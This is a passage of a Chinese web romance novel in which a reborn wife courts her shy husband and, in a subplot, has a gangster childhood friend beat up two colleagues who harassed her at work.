“我……我要去洗澡先。”许铭荣在与她的对视之中,落荒而逃。
温欣怡先前还想着要他哄一哄的,但是看他这般,似乎没有哄人的天赋。
等许铭荣洗完澡出来,温欣怡就像是他的小尾巴般,亦步亦趋地缀在身旁。
温欣怡:“你饿不饿,吃饭了吗?”
许铭荣:“不饿,吃了。”
“这次出差还顺利吗?累不累?”
“顺利,不累。”
“你……”
“你去忙你的吧。”许铭荣端着塑料盆来到水井旁,搓洗着衣服,洗到内裤动作停了下来,掩耳盗铃般藏了藏。
“我现在没事要忙,给你压水,嘿嘿。”温欣怡嘿嘿一笑,口花花道,“难道你不想要我陪着吗?”
许铭荣仰起头看她:“我洗衣服不需要人陪。”
“那我压水想要你陪行不行?”温欣怡一副耍无赖地瞅着他。
在和温欣怡的对抗中,许铭荣从来都不是赢的那方,这次也不例外。
他默不作声,闷闷地端着盆转过身去,企图阻挡她的视线,搓洗衣服更快更急更用力。
等洗完衣服,晾好,温欣怡将脑袋凑到他的面前:“有空了吗?我有个惊喜想要给你。”
“不用。”许铭荣想到上次她送毛巾的人情还没还,一直苦恼着。
温欣怡眼睛一瞪。
“用,要的。”许铭荣呼吸一屏,下意识说道。
“别跟我客气。”温欣怡旋即温柔地笑了笑,回到房间拿出一叠衣服,献宝似的,“快试试,合不合身,喜不喜欢。”
这些衣服一部分是从外面店里买的,一部分是她参考服装杂志做的,都是花了一些心思。
尺码是对着他的旧衣服来做的,应该是合身的吧
许铭荣看着一件件新衣服,有衬衫、短袖、背心、长裤、短裤,款式新颖多样。
“确定都是给我的?”许铭荣不确定地问。
“是啊,都是给你的。”
许铭荣转身回
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了房。
温欣怡见他这反应,以为是不喜欢,失落难掩,眼神一下子变得黯淡无光。
“给你。”不一会儿,许铭荣走过来,将一叠钱塞给她。
温欣怡愕然:“你这是什么意思?”
拿钱来买吗?当这是交易吗?
“我不知道要回送给你什么,给钱给你,你喜欢什么就去买什么。”许铭荣见她眼眶蓄起了泪,无措道。
温欣怡:“你不是想用钱来和我撇清关系?”
“我们的关系能用钱来撇清?”许铭荣反问,随后说道,“最近你给家里添置了很多东西,破费了。”
“什么破不破费,你我之间不必客气。”温欣怡见他没那么意思,好受了些,将钱推回去,试探道:“我不要你的钱,你也送我个惊喜行不行?”
“我怕送的东西不合你的心意。”许铭荣已经想要她那挑剔的样子了。
温欣怡满是期待地看着他:“只要是你用心送的,我都喜欢。”
“嗯。那这钱还是你收着吧。”许铭荣感觉这钱不送出去,心里难安。
“你不怕我花光?”温欣怡提醒道,“我很能花钱的。”
“钱就是用来花的,你花光也没关系。”许铭荣现在进口袋的钱多了,说这话也有底气。
“那我收了这钱,你还给我送惊喜吗?”温欣怡不好意思地问道。
“行,会有惊喜给你的。”许铭荣许下承诺。
“你真好。”温欣怡收下钱,觉得之前的自己真是被猪油蒙了心,日子过得一塌糊涂,好在她醒悟过来了,如今怎么看许铭荣怎么合心意。
“你快去试试新衣服。”温欣怡不再纠结,将衣服拿起在他身上比划。
许铭荣见她的心情雨转晴,嘴角也不自觉扬起,将衣服接过来,说:“你先出去。”
“你哪里我没见过,直接换吧。”温欣怡说着在床边坐下,饶有兴味地看着他。
“我有关系。”她变厚脸皮后,许铭荣有点招架不住。
被他推出去,阻隔在门外,温欣怡可惜地叹了口气。
屋内,许铭荣快速试了个遍,衣服尺码刚刚好,想到她是如何给他缝纫衣服,一道难以言喻的情绪在胸腔内激荡着。
“衣服合身,可以。”许铭荣打开门开口说道。
温欣怡见他换回了原来的衣服,娇嗔道:“我都没看到,你穿给我看看嘛。”
这会儿,这一句,她的声音像掺了蜜,夹得他鸡皮疙瘩都起来了。
“你不要这样说话。”许铭荣满是不适应道。
“那你穿不穿给人家看嘛?”看他被调戏得耳朵泛红,温欣怡就越想“欺负”他,边说边用手戳着他的胸膛。
“我改天穿,你会看到的。”许铭荣一把抓住她的手,被她戳中的地方,感觉酥酥麻麻的。
“不要改天,就现在。”温欣怡走过去将一件背心和短裤递给他,语气娇滴滴,但态度是不容拒绝的,说,“晚上睡觉时,你就穿这两件,听话。”
见他没有动作,温欣怡上手做势要帮他穿。
“别,我自己来。”许铭荣连连后退。
12. 粗鲁屠夫VS傲慢老师
换上新衣服,被温欣怡灼灼目光注视着,许铭荣不由得同手同脚起来,路都不会走了。
“你……你不要这样看着我。”这一刻,许铭荣的脑子搅成浆糊,只想着叫她那灼人的目光移开。
“这样是哪样?”温欣怡故作无知地逼近道。
重生以来,她挺稀罕许铭荣这束手无策的害臊模样,与他粗犷外表不符的反差感总想叫人去逗逗。
特别他穿上这身衣服,较以往显得更加年轻,健硕而有力的身材透出一股极致的男性魅力。
“你去洗澡啊。”对上她戏谑的眼神,许铭荣难以招架,想着扯来一个缘由叫她快快从眼前离开,让他自个儿冷静冷静。
“身材真好,衣服很搭你。”温欣怡抛了一记媚眼过去,眼波流转,从上到下将他扫视了个遍,悠悠道,“别着急嘛,等我洗白白,会来宠幸你的,乖乖在床上等着我哦。”
“你……你……这种话……你不要说这种话。”像原地投下一颗炸弹,许铭荣整个人简直要炸开,本被他藏在旮旯的记忆被扯出来,一幕幕于脑海之中浮现,清晰无比。
“我不光要说这种话,还要做这种事,你别想着逃。”温欣怡贴近他,抬手摩擦着他的下巴,流里流气的。
见他喉结滚动,温欣怡适时退开了些,再次叮嘱:“乖乖等着啊。”
说完转身去洗澡了。
许铭荣在房间内坐立难安,对于接下来的事,既有期待亦有紧张,更多的是她对撩人之术的无措。
他要乖乖配合还是抗拒不让她如意呢?
许铭荣想起朋友说起的——
“越容易得到的东西越不会被珍惜,越容易得到的人会越快被厌弃。”
“之前你上赶着对她好,得到的是冷眼嘲笑,如今你不能再任她牵着鼻子走,凭什么她说和好就和好,也该叫她尝尝求而不得的滋味。”
“她在你身上付出的越多,最后哪怕厌烦了你,也会考虑所投入的成本和精力,不会再轻易说放弃你。”
“……”
诸如此类的话,许铭荣多多少少听进了一些。
时间一分一秒流逝,许铭荣还没想好对策,再一抬头,猛地见温欣怡穿着一身白色吊带裙倚靠在门边,肤若凝脂,身姿曼妙,见他看过来,她嫣然一笑,勾了勾手。
眼中万物失了颜色,此时她的身影最动人。
“啊!你流鼻血了!”
还没等他有所动作,温欣怡突然尖叫着跑过来,手指捏紧他的鼻翼。
“不要仰头。”温欣怡提醒道,见他憋得一脸红,又说,“你可以用嘴呼吸。”
许铭荣:“我自己来。”
温欣怡没了旖旎的心思,去拿来一条毛巾让他擦干净。
“你这……我去给你煮点下火的凉茶喝。”温欣怡也没想到这小小色诱竟会引得他这样,之前更刺激的他又不是没试过。
想到这,她就忍不住想笑。
“最近天气干燥,难免上火。”许铭荣一本正经地说,“我待会喝点开水就行,不用麻烦了。”
“是是是,你流鼻血是因为天气的原因,不是因为我的原因。”温欣怡顺着他的话接道。
她起身时,许铭荣瞥见胸前的大片风光,欲/火往上一涌,鼻血又流出来了。
“看来还是要喝点凉茶比较好。”温欣怡将毛巾塞到他手上,没再逗他,煮凉茶去了。
好在房前屋后,一些野生的像车前草、金银花、薄荷等草药都有,热气上火时,摘取来煮很是方便。
大概三十分钟后,一大碗热气腾腾的凉茶端过来。
“衣服被鼻血弄脏,我拿去洗了。”许铭荣换回了旧衣服,见到她下意识解释道。
“哦,下次我再给你多做几件衣服,有来换。”温欣怡将碗放在床头柜上放凉,闻言道。
“我……”许铭荣想说自己不是这个意思,但转念一想,为什么他要急吼吼解释呢,淡定些,于是他淡淡道,“我衣服够穿,不用。”
温欣怡都不想说他那些丑衣服,嫌弃的话刚要说出口,顾及到恶言伤人,没有再像以往那般想嘲讽就嘲讽,也没有在意他的冷淡,自顾自说:“是我想买给我的老公穿,你不要剥夺我这个权力。”
“你……”听着她霸道且关切的话,许铭荣都不知道怎么回这番话,干脆将目光转移到凉茶上,吹了吹,一饮而尽。
“现在感觉怎么样?头晕不晕?有没有哪里不舒服?”见他放下碗,温欣怡问道。
“就感觉有点热,我……我去将碗放好。”许铭荣说着拿碗出去了。
放好碗,许铭荣又找了些事做,这里修修,那里补补,就是磨磨蹭蹭没有回房间,他现在还没有整理好思绪,还不能很自如地和温欣怡亲密接触。
身体的燥热感迟迟不散,最后许铭荣坐在院子的摇椅上,静静地看着天边的月亮。
皎洁的月亮不知他的心事,只将银辉洒大地,捉迷藏般一会儿躲一会儿又悄悄探头。
“许铭荣,睡觉啦。”
温欣怡的声音传入耳膜,许铭荣心口一滞,起身回房道:“我今晚回之前的房间睡。”
说完,不待温欣怡回答,抱起自己的枕头被子走得飞快。
“欸……”温欣怡伸出手想叫住他,但想到自己一靠近他就紧张戒备,还是来日方长,慢慢来吧。
每个人爱人的方式不同,他是爱得浓烈而羞于表达那种。
她前前后后的变化那么大,他会不习惯也在预料之中。
只是温欣怡一想到他为了她连命都舍得给,就想对他好一点再好一点,想快点拉近距离回馈这份沉甸甸的爱意。
抱着明天会更好的期待,温欣怡美美地进入了梦乡。
而另一个房间里,许铭荣辗转反侧,脑海中一会儿是温欣怡冷冰冰拒他千里之外,一会儿是她热情如火黏人模样。
心情如过山车般起伏——
愤怒——委屈——羞恼——悲伤——欢喜——不甘——
实在睡不着,他一会儿做起了俯卧撑,一会儿跳下床从衣柜后的墙壁掏出一个匣子,打开数钱。
睡不着啊睡不着。
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>温欣怡给过他的温情实在是少,还不足以将那些过往那些不好的记忆覆盖,她真的对他日久生情了吗?
许铭荣决定再看看。
两人就这样过上了有应有答、有来有回、互帮互助的同居生活。
只是亲近不足,客气有余,两人之间始终隔着淡淡的一层,冰雪消融要时间与温度。
温欣怡忙着和许铭荣培养感情的同时,每天上班要提防口蜜腹剑的陈广志和黎玉琴,实在是心累,虚与委蛇别提有多膈应人。
杀人放火的事,温欣怡不敢做,但找人教训他们一顿还是可以的。
找了个空闲的时间,温欣怡乔装一番,换上一套老妈的衣服,戴上包头四方头巾,再把脸涂黑,佝偻着身形,到镇上的旱冰场,想找几个混混将那两夫妻套麻包袋打一顿。
温欣怡来到旱冰场时,是下午五点,陆陆续续从四面八方下班的年轻男女往这个方向涌了过来。
她也是听说过旱冰场的混混接揍人打狗等业务,但是要怎么找接头人洽谈,这是一个问题。
温欣怡在门口徘徊了好久,见不远处有几个不良少年模样的人围聚在一起吸烟聊天,看样子是她要找的人。
第一次干这种事,温欣怡难免忐忑,踌躇着要怎么上前搭话。
“温欣怡,你在这里鬼鬼祟祟的干什么?”
一道带着吊儿郎当散漫气息的嗓音传来,温欣怡猛地被吓了一跳,转头一看,一个身材颀长的男人来到面前。
温欣怡:……
不是,她伪装成这样,他怎么会认得出来呢?
来人叫谢凯,在他三岁那年,随丧偶的妈妈嫁到温家村,和温欣怡是玩伴,也是小学同学,后来家里负担重,读完小学后,他就去打工了。
再后来,听人说他给大佬当小弟,混□□赚了好多钱,给家里盖了新房买了新车,过得很是风光。
村里人对他的评价是两极分化——
一些人认为他赚的是脏钱,迟早有一天会被抓进监狱里,不愿和他家有所交集。
另一些人觉得笑贫不笑娼,能赚那么多钱是他的本事,平日里都捧着他的家人。
小时候温欣怡的爸妈见谢凯吃不饱穿不暖,多次给予关照,后来见他身边围绕的都是些二流子,一次无意撞见他带头打群架后,怕被牵连,就疏远了他。
再之后,温欣怡偶尔在路上见到他时,惧怕于他身上的那股痞气,也没有话题可聊,避而远之。
就像两条相交线,短暂的交集后走上各自的人生轨道,没了联系。
没想到的是,长大后在温欣怡找对象时,谢凯上门自荐了,但考虑到嫁给他要提心吊胆,日子不安稳,温爸爸和温妈妈婉拒了他。
谢凯不死心,还单独找了温欣怡表白。
得知他的心意,温欣怡没有被表白的欢喜,有的是紧张拒绝后的报复。
但当她鼓起勇气说不想嫁给他时,谢凯没有死缠烂打,只淡淡一句“那就算了,当我没说过。”就离开了。
这就像个小插曲,温欣怡很快就抛却脑后了。
13. 粗鲁屠夫VS傲慢老师
温欣怡身形更弯了,还想着装傻充愣糊弄过去,粗声道:“小伙子,你认错人了,麻烦让让。”
说着想绕道走。
“温欣怡,别装不认识,你就是化成灰我都认得。”谢凯伸手将她的头巾一抽,一头绸缎般乌黑光滑的头发如瀑布般垂落。
“哈哈。”温欣怡尬笑,“好久不见,谢凯,你怎么在这里?”
“路过。”谢凯言简意赅,问,“你遇上什么事了?”
“我想找人……”灵光一闪,要论干那些背后捅刀子的事,有谁能比谢凯权威呢?
想到这,温欣怡看谢凯的眼神都亮了亮。
听说他现在混成□□老大了,出门在外都是被叫“大哥”的了,之前有村人见过他前呼后拥好不风光,在村中还活灵活现演绎过那场景,以至于村人对谢凯及其家人的态度更为恭敬了。
“谢凯,你能不能帮我一个忙?”温欣怡补充道,“当然,你不会白帮的,我给酬劳。”
“说说。”谢凯将高冷范表现得淋漓尽致。
“我们找个安静点的地方说。”温欣怡见身旁人来人往,将他带到一处隐蔽的角落。
“我想让你帮忙教训两个人,打一顿或者泼粪都行。”温欣怡觑了觑他的脸色,小心翼翼地问道,“这样可以吗?”
小的时候,温欣怡是个乖乖女,因为手上好吃好玩的多,一些调皮的孩子看她好欺负,总是会来抢她的东西。
那时还被威胁说不许将被欺负的事告诉爸妈,小小的她是整夜整夜做噩梦,不想上学不想出门,爸妈问起时也只会泪眼汪汪地哭,不敢说。
后来有一次,温欣怡被欺负时,谢凯看到了,他将那些人揍得鼻青脸肿,帮她抢回了蝴蝶发夹和酥饼,还放话说:“温欣怡是我罩的,谁欺负她,我就欺负谁!”
自此谢凯就跟保护神般保护了她整个小学时期。
那时他们是彼此最好的朋友,温欣怡最喜欢和谢凯玩,因为不管她做什么说什么,谢凯是她的捧场王,总会顺着她的意。
她想要干什么,只要说一声,谢凯就会冲锋陷阵,在所不辞。
思绪飘远了。
温欣怡再看谢凯,不敢以小时候的态度来对待他,说起来还是她先不认他这个朋友、先不跟他玩的。
想起往事,心虚的情绪在心头滋生。
“要不要……永绝后患?”谢凯做了一个割喉的动作,以他如今在青龙堂的地位,让一个人消失不是问题。
“不用!不要杀人!”温欣怡被他狠厉的眼神吓了一跳,赶紧说道,“就教训一下,让他们在病床上躺十天半个月好了。”
“嗯,好。”谢凯点点头,问,“是谁?”
“陈广志和黎玉琴,都是我学校的。”温欣怡强调道,“陈广志家里有点背景,记得揍他的时候要遮好脸,不然怕他会报复。”
“好。”谢凯问,“他们怎么欺负你了?”
“在工作上给我穿小鞋,还有,陈广志好恶心,他想……他想……”温欣怡想到黎玉琴作为妻子,竟然纵容丈夫这种行为,除了恶心还是恶心,她都觉得将那些肮脏事说出口是玷污了嘴。
谢凯get到她的言下之意,彷佛一粒火星掉落油桶,怒火瞬间燃起,想立刻杀过去将人千刀万剐。
“我有提防,他还没有给我造成什么实质性的伤害,如果你有法子将陈广志搞下台就好了。”温欣怡见他怒容满面,浑身散发着骇人的气息,再次提醒,“你不要杀人,万一东窗事发,为这种人偿命不值得。”
“放心,我有方寸。”谢凯嘴角扯出一个笑容。
“那,一般这种,要收多少钱?”温欣怡想到他如今的身价,不知道自己还请不请得起。
“你那点钱,留着给自己买糖吃。”谢凯不在意道。
“要的,亲兄弟明算账,你干这个风险那么大,还是要收的。”
“我不要钱,就当报答小时候你家照顾我的恩情了。”
温欣怡想起的是小时候指挥他干这干那的事,老脸一红。
“这……”
“或者万一哪天我翻船了,你有能力的话,再帮回我就好。”谢凯看着她的眼睛说,“还是说,你不想帮回我?”
他话都说到这份上了,温欣怡没再坚持要给他钱。
“下次你有什么事,直接来旱冰场找一个叫小六的前台,他会告诉我的。”谢凯招招手,喊道,“小六,过来。”
温欣怡看过去,不远处一个穿着花衬衫的男人小跑着过来。
“大哥,什么事?”小六问。
“以后她被我罩了,以后她如果有什么事来找我,你及时告诉我。”谢凯说。
“是嫂子吗?大哥有眼光。”小六谄媚地拍起马屁来。
“我结婚了。”温欣怡赶紧说道,“我和他是朋友。”
“哦~”小六可没见过大哥这般和颜悦色地对待一个女生,登时脑补了一出强娶豪夺人妻的戏码。
谢凯:“别乱叫!记住了人,滚吧!”
“欸,嫂子以后有事尽管找我。”小六说完麻溜地滚了。
“他就爱开玩笑,办事还是牢靠的,别介意。”谢凯说。
温欣怡呵呵笑。
温欣怡见谢凯现在举手投足间尽显霸气矜贵,一招手就有手下呼应,谁还看得出他曾经是个吃不饱穿不暖的小可怜呢。
“我们现在还算是朋友吗?”谢凯突然问道。
“哈哈。”温欣怡又尴尬了,毕竟是她单方面发起绝交不理人家,此刻想来真是太不够义气了,不过他对她真的只是友情吗?
“你年龄也不小了,有碰到合适的女孩子,也该考虑终身大事了。”温欣怡学着那些催婚的话术,说,“两个人互相扶持过日子,挺好的……”
撞上他深邃的眼眸,温欣怡的心揪了揪,开玩笑道:“不会吧,你不会还喜欢我吧?都陈年旧事了,你还没放下吗?这样很不男人啊,你不要让我看不起哦。”
谢凯眉梢轻佻,不慌不忙道:“你别自作多情,谁会喜欢你那么多年?我又不是傻子。”
“那就好。”温欣怡见他无语的表情不似作伪,松了一口气,她只想保持纯洁的友谊,不想上演什么背德情事。
“你现在和许铭荣感情很好吗?之前你不是还想和他离婚来着。”谢凯问。
“我们好着呢。离婚是不可能离婚的。”温欣怡说,“我现在很幸福,希望你也能找到自己的幸福的。”
“你幸福就好。”几不可闻的五个字随风飘散在空中。
“你说什么?”温欣怡没听清。
“天黑了,送你回家,走吧。”谢凯说。
“我骑车很快的,不用你送了。”
“别半路出事赖我,走吧,我恰好也要去许家村找村长说点事。”
温欣怡想到最近蠢蠢欲动想设陷阱给她的夫妻俩,到底没再拒绝他的好意。
刚回到村口,就听见有摩托车传来,不一会儿,一道刺眼的光芒照射过来,温欣怡探了探头。
“许铭荣!”温欣怡喊了声,招了招手。
摩托车适时停在旁边。
“我见你这么晚还没回来,准备去找你。”借着车灯,许铭荣边说眼神边从温欣怡的身上移到谢凯的身上。
“他是我
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的发小,刚好他要来找村长有事,就顺便送我回家。”温欣怡跳下车说道。
她本能的不想将自己想要暗算别人的阴暗面摊开给许铭荣看,希望在他的心目中,她是个善良的、正直的、积极的形象。
谢凯脚支着地,双手扶着车把,睨着眼,对许铭荣实在生不出什么好脸色,旋即转头对温欣怡温声道:“我口渴了,能去你家讨杯水喝吗?”
“当然可以。”毕竟刚请人家帮忙,温欣怡不好意思道,“说起来,还没请你到家里做过客。”
“是啊,下次你也到我家坐坐,都是朋友。”谢凯开玩笑般提醒,“现在我也算是有点成就,早就想着找机会报答一下温叔和温姨的恩情,可一直找不到什么机会。”
“不用那么客气。”温欣怡想到爸妈说要离谢凯远点的事,尬笑了声,拍了一下手臂,挠了挠说,“这里蚊子多,我们不要在这里聊了。”
“欣怡,上车。”谢凯说。
“老婆,上车。”许铭荣说。
两个男人异口同声,双方的视线在空中交汇,温欣怡觉得这氛围莫名的诡异起来。
之前让许铭荣叫“老婆”都不肯的,这会儿听到这个称呼,温欣怡的脸烧起来。
瞧瞧这个,看看那个。
“没多远路了,我走路。”温欣怡说完,抬起脚走了。
许铭荣调转车头,见谢凯磨磨蹭蹭地踩着自行车跟在温欣怡的旁边,冷呵一声,加大油门先行而去。
许铭荣回到家,看了看桌上做好的晚餐,想了想,还是再去炒一个菜和下点面条。
“这就是我家了,你先坐坐。”温欣怡带着谢凯进门后,放好自行车,引领他到客厅坐下。
“水有点烫。”
“谢谢。”谢凯接过水杯,不动声色地环视四周——
屋子干净整洁,有一些装饰品点缀在生活用品之中,可以见得布置之人的用心,目光落在摆成一起的“囍”字的搪瓷杯时,格外刺眼。
“你也还没吃饭吗?”温欣怡听到厨房有动静,走进去。
“想着等你一起吃的。”许铭荣边洗着菜边问,“你那个朋友,是不是要留下来吃饭?我现在多做一点菜?”
“谢凯,刚好我老公做好了饭菜,你留下来吃饭再走吧。”温欣怡来到客厅说。
“好啊,那我就不客气了。”谢凯想着收集到情报,不是说他们感情不和吗?怎么叫得那么亲密?他决定再观察观察。
“就是没什么好菜,你不要嫌弃。”温欣怡说。
谢凯:“填饱肚子就行。”
两人闲聊没多久,许铭荣就端着两盆菜过来,温欣怡赶紧打开菜罩,招呼谢凯吃饭。
三人坐好开吃。
“看你那么瘦,多吃点。”谢凯夹了一筷子肉给温欣怡,说,“下次你尝尝我的手艺,做得红烧肉吃过的人都说好吃。”
“好啊。”温欣怡想起小时候有一回谢凯煮了肉和她分享,谁知吃了上吐下泻一整天,后来发现是他用毒蘑菇一起煮,两人都差点去见阎王了。
现在想来,真是又好气又好笑,温欣怡开玩笑道:“你可别又把我毒倒了。”
“不会的。”谢凯也笑。
两人就着这个话题,聊起了童年往事。
许铭荣安安静静地当个背景板,看着温欣怡笑靥如花的样子,再看谢凯虽然故作自然,但男人之间那种争夺雌性的较劲,不过一个眼神就可以领会——
他就是想撬墙角!
呵!
许铭荣觉得好气,但他也不想在外人面前落了温欣怡的面子,闷闷地吃完饭,闷闷地擦桌洗碗去了。
14. 粗鲁屠夫VS傲慢老师
温欣怡没想到谢凯动作如此迅速,第二天刚上完一节课回到办公室,就听见有老师在讨论说——
“今早陈校长和黎老师来上班时,没想到经过杨树头那条巷子,被人套麻包袋打了一顿,后面被人发现时,血流了一地,学校几个领导现在都过去医院看了,还不知道是生是死呢。”
“真的假的?!我回家也要经过杨树头,听着都不敢走那条路了。”
“我能拿这个开玩笑吗?我听教务主任说了个囫囵,反正现在的情况就是这样,具体伤得如何,又是被谁打,我也没亲眼所见,你们爱信不信。”
“今天下班后,我们一起去医院探望一下吧。”
“行。”
“那就说好了。”
“……”
听着他们讨论,温欣怡紧张得心脏猛烈跳动,手心冒汗,脑海中浮现出那两人被血水浸泡的可怖场景,抢救不过来的话,午夜梦回,他们会不会回来找她索命?
谢凯下手应该知道轻重吧?她嘱咐过的。
要是真死人了,她也难逃法律的制裁吧?
温欣怡心里七上八下,思绪一下子飘到自己被抓的画面。
“温老师,你说呢?”
有人的手在她眼前晃了晃:“想什么想得那么入神?”
“说什么?”温欣怡回神。
“大家商量要不要凑钱买点水果或者补品。”有位老师说。
“我都可以,随你们。”温欣怡附和道。
“行,那我们每人就出……”
“铛——铛——铛——”
上课的钟声敲响了,老师们散去。
*
好不容易挨到下班时间,老师们一个个表露出担忧关心的言语,内心有看八卦的好奇心,亦有对周边环境不安全因素的担忧,结伴往医院的方向赶去。
见陈广志和黎玉琴躺在病床上,虽然鼻青脸肿的模样惨不忍睹,好在还活着。
“滚!!!”陈广志像只暴躁的病狮,见到来人,咆哮道,“滚——”
黎玉琴瑟瑟发抖地用被子裹着脑袋,惊恐连连。
“校长……”
“啊!!!”陈广志目眦欲裂,挣扎着要扑上来,那架势好似要和谁拼命,怒吼着,“你们是不是来看我笑话的?是不是你害的我!还是你!”
他的目光扫过众人,看哪个人都像是有害他的嫌疑,要不是被人及时摁住,他就要扑上来了。
大家被他这癫狂的样子吓了一跳,面面相觑,不知所措。
“你们不要挤在这里,出去出去,病人需要冷静,不能再受到刺激了。”护士闻声而来,将一个两个往门外赶。
“唉——校长……他,唉——”
走廊上,教务主任长吁短叹,欲言又止,摇头叹息。
“我看校长还挺精神的,又不是我们打的他,干嘛那么凶。”一位老师嘟囔道。
“校长,校长……”教务主任左看右看,犹犹豫豫道,“校长伤了命根子,听说很难治好,一时之间,肯定难以接受这个事实,大家多体谅就是。”
“啊?好惨。”
“校长好可怜。”
“男人没了那玩意,还能叫男人吗?”
“……”
听到这个消息,一张张脸写满了震惊,伤哪不好伤到那,你一言我一语炸开了。
“嘘——小点声,不是什么光彩的事,不要宣扬。”教务主任板起脸,严肃道。
“知道知道,我们不会在陈校长面前提起。”一位老师在嘴巴上做了一个拉链的动作以示保密。
然而这事虽然不好放在明面上讨论,但耐不住八卦的老师们当场用眼神疯狂地交流起来,一切在不言之中。
温欣怡面上担心,心里却想着伤得好,没了作案工具,她应该不用再提心吊胆会被陈广志玷污。
她只默默在心里祈求着上天保佑,不要被发现她才是害他的主谋。
大家后续安慰家属几句,放下礼品,就各回各家了。
*
“你也回来啦,我路上买了半只烧鸭,今晚加个菜。”温欣怡一回到家,见许铭荣正忙着给玫瑰松土施肥,上前说道。
说起来,是她说要种玫瑰,但从头到尾,是许铭荣在忙活,温欣怡偶尔心血来潮就浇一下水再无做其他。
“嗯,我备好了菜。”许铭荣看着她说,“就等着你回来炒了。”
这是因为温欣怡嫌他做菜不好吃,想到分工合作所提的建议。
“好咧!”温欣怡眉眼一挑,扬唇一笑,声音甜如浸蜜,扯大饼道,“老公,我想把我的拿手好菜传承给你,等有了孩子,你再传承给子女,一代传一代,你说好不好?”
“好……好的。”许铭荣一听到【老公】【孩子】这两个词,心头一片滚烫,再看她如此柔情蜜语姿态,心神骤然间飘至云端,只管点头答好。
在两人的对视之中,许铭荣先败下阵来,眼睛瞥向另一边,轻咳一声以作掩饰尴尬。
“你害羞了吗?怎么之前没发现你这么可爱?”温欣怡见他耳廓泛红,那故作镇定的样子让人好想狠狠“蹂躏”他怎么回事。
她暗暗唾弃了自己一口。
“你别乱说,我没有害羞。”似为验证这句话,许铭荣的目光不再躲闪,直勾勾地盯着她。
“真的吗?”温欣怡猛地扑过去,手刚搭上他的肩膀,许铭荣下意识跳开了。
“你……你不要这样。”许铭荣转头往外瞧了瞧,要是这时有人从门口经过看到那一幕,明天村里指不定各种调侃取笑的话到处飞。
“好吧,你不喜欢,那就算了。”温欣怡语气低落,低垂着头,耷拉着肩膀往厨房里去。
整个背影透着一股丧丧的气息,任谁看了都知道她的情绪低沉。
“我没有不喜欢。”许铭荣下意识说道,“我只是想着在外面这样不合适,万一被人看到,不好。”
“哦,知道了。”温欣怡回头看了他一眼,撇撇嘴,还是一副闷闷不乐的模样。
许铭荣真的没有哄女孩的天分,嘴巴张了张,想说些什么,又不知该说些什么,只闷着头跟着她的脚步,准备听从吩咐。
走进厨房,放下烧鸭,温
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欣怡“啪”一下将门关上,像只身手矫健的猴子,倏地攀跳到了许铭荣的身上。
“哈哈,现在没人看到了,看你还躲不躲?”温欣怡双手揽住他的脖子,用脑袋一下下轻撞他的额头,哈哈大笑。
见她笑得如此开心,应该是没有生气了吧,许铭荣松了口气。
只是在他的印象中,温欣怡是高傲的、冷酷的、自矜的,现在这个笑得毫无形象、动作粗鲁的女人是谁?
这段时间,温欣怡真的是一次次打破他对她的固有印象。
许铭荣用手托稳了她的屁股,无奈道:“下来。”
“不下,你给不给亲?”温欣怡故作凶狠。
“别闹了,还要炒菜呢。”许铭荣偏不如她愿,将头往后仰了仰。
“亲一亲不耽误炒菜。”温欣怡嘴巴追上去,一口叼住,吮吸,加深。
喜欢上一个人的征兆是什么呢?大概从嗅觉开始,先喜欢上他身上的气味。
以前觉得难闻的气味现在却迷恋上了这种味道,温欣怡深深地爱上了这种与他沉沦于欲望的滋味。
许铭荣单手托着她,让她坐在臂弯处,另一只手扣住了她的后脑勺,吻得难舍难分。
安静的厨房里,急促的喘息声混杂,偶尔有啧啧的水声响起,滚烫的、热烈的、窒息的、失控的……
浓烈的荷尔蒙气息在蔓延。
最后两人分开时,两唇拉出一线银丝,断裂落到嘴边。
许铭荣见此,抬手想擦拭掉。
“下次亲的时候,不许那么用力,我嘴都麻了。”温欣怡恼怒地咬住了他伸过来的手。
他的眼神一下子又变了,像是灼人的火,要将她燃烧在炽热之中,无处可逃。
温欣怡感知到了危险,松开嘴,松开手,想从他的身上下来。
许铭荣再次覆上,要将她吞噬殆尽般,气势汹汹。
“轻……痛……不要亲了……呜呜呜——好痛……”温欣怡推搡着他,却无法撼动半分,忍不住哭起来。
许铭荣像惊醒般松开对她的束缚,见她眼角溢出水光,嘴唇被咬得嫣红肿胀,脖颈锁骨处更是红红点点一片,看起来可怜极了。
“对不起。”他平复了一下呼吸。
温欣怡气哼哼:“都说了要温柔点,下次能不能温柔点?”
“下次?”许铭荣没有等来谩骂,感受到了被喜欢着纵容着的滋味,欢喜漫上心头,看着她说道,“情到浓时,难以自禁。”
“哼,那下次我要你尝尝被压制的滋味!你不自禁,我帮你禁。”温欣怡放话。
许铭荣只当这是句玩笑话,顺从地接话:“嗯,听你的。”
“你最好说到做到。”温欣怡怕他再吻过来,连忙转移话题,“炒菜炒菜。”
“咳咳——那个——”许铭荣视线往她的胸口处示意,“衣服。”
温欣怡往下一瞄,见两个纽扣不知什么时候解开了,内里清晰可见,脸颊霎时烧起来,想到情到浓时,他的双手在作乱。
背过身,手忙脚乱整理好衣服,温欣怡若无其事地去洗手准备炒菜。
15. 粗鲁屠夫VS傲慢老师
热锅倒油,待油热后倒入鸡蛋液,小火煎炒至金黄嫩滑,成型,起锅。
就着热锅,再倒入一点凉油,接着将腌制好的肉丝下锅,翻拌定型,不能炒太久,不然淀粉会失去锁水功能,肉会变柴。
将炒好的鸡蛋倒入锅中,与肉丝翻炒均匀,最后撒上葱花点缀。
炒蔬菜谨记大火炒脆,小伙炒软又出水。
……
温欣怡边说边示范炒菜要领,拿着锅铲手起手落,在朦胧的炊烟中,她专注认真的样子格外迷人。
“知道了吗?”温欣怡转头一看,见他傻乎乎地盯着自己看,一锅铲到眼前晃了晃。
“嗯,知道了。”许铭荣回神。
“那下面这道干锅花菜你来炒。”温欣怡让位道。
“行。”
温欣怡现场教学,许铭荣实地操作,当一碟香喷喷看起来可以和外面饭店媲美的干锅花菜新鲜出炉时,自豪感油然而生。
“你可以出师了,下次再教你几道家常菜,熟能生巧,相信你很快就可以成为一名优秀的厨艺大师!”温欣怡毫不吝啬溢美之词,夸得许铭荣心花怒放,恨不得抡起锅铲再炒几道菜。
他当场放话道:“以后我在家,做饭炒菜这事我承包了。”
“老公好帅!”温欣怡双眼冒星星,【老公】这个称呼是越喊越熟练了。
“咳咳,你先端菜过去,我收一下尾。”许铭荣压了压扬起的嘴角,转身去拿抹布抹干净灶台。
“好咧,我等你哦。”温欣怡迈着欢快的步伐端菜走了。
*
两人吃饭,没有讲究什么食不言的规矩。
